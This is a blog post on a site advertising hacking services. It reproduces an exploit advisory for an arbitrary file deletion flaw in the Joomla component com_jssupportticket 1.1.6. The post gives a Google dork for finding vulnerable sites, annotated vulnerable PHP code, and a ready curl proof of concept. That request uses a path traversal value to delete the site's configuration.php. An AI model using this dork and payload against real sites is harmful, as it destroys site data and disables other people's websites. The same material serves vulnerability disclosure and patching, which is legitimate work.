Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863546063

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#Exploit Title: Joomla! component com_jssupportticket - Authenticated Arbitrary File Deletion
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 10.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.6
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
This vulnerability is caused when processing custom user field.

file:	admin/models/ticket.php
function:	storeTicket

    54	    function storeTicket($data){
    ...snip...
    75	        $userfield = $this->getJSModel('userfields')->getUserfieldsfor(1);
    76	        $params = array();
    77		foreach ($userfield AS $ufobj) {
    78				$vardata = '';
    ...snip...
   121			if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
   122	                $customflagfordelete = true;
   123			$custom_field_namesfordelete[]= $data[$ufobj->field.'_2'];	//no check.
   	...snip...
   198	        if($customflagfordelete == true){
   199			foreach ($custom_field_namesfordelete as $key) {
   200	                $res = $this->removeFileCustom($ticketid,$key);	//!!!
   201	            }
   202	        }
   ...snip...
  1508	    function removeFileCustom($id, $key){
  1509	        $filename = str_replace(' ', '_', $key);
  1510	
  1511	        if(! is_numeric($id))
  1512	            return;
  1513	
  1514	        $db = JFactory::getDbo();
  1515	        $config = $this->getJSModel('config')->getConfigByFor('default');
  1516	        $datadirectory = $config['data_directory'];
  1517	
  1518	        $base = JPATH_BASE;
  1519	        if(JFactory::getApplication()->isAdmin()){
  1520	            $base = substr($base, 0, strlen($base) - 14); //remove administrator    
  1521	        }
  1522	
  1523	        $path = $base . '/' . $datadirectory. '/attachmentdata/ticket';
  1524	
  1525	        $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id;
  1526	        $db->setQuery($query);
  1527	        $foldername = $db->loadResult();
  1528	        $userpath = $path . '/' . $foldername.'/'.$filename;
  1529	        unlink($userpath);	//!!!
  1530	        return;
  1531	    }

#####################################
#PoC:
#####################################
When administrator has added custom user field as "19", attacker are can trigger this vulnerability by send a following request.

$> curl -X POST -i -F 'option=com_jssupportticket' -F 'c=ticket' -F 'task=saveTicket' -F '{VALID_FORMTOKEN_FROM_FORMTICKET}=1' -F 'Itemid=666' -F 'id=' -F 'message=woot' -F '19_1=1' -F '19_2=../../../../configuration.php' -F 'filename[]=@./woot.txt' -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' 'http://localhost/index.php'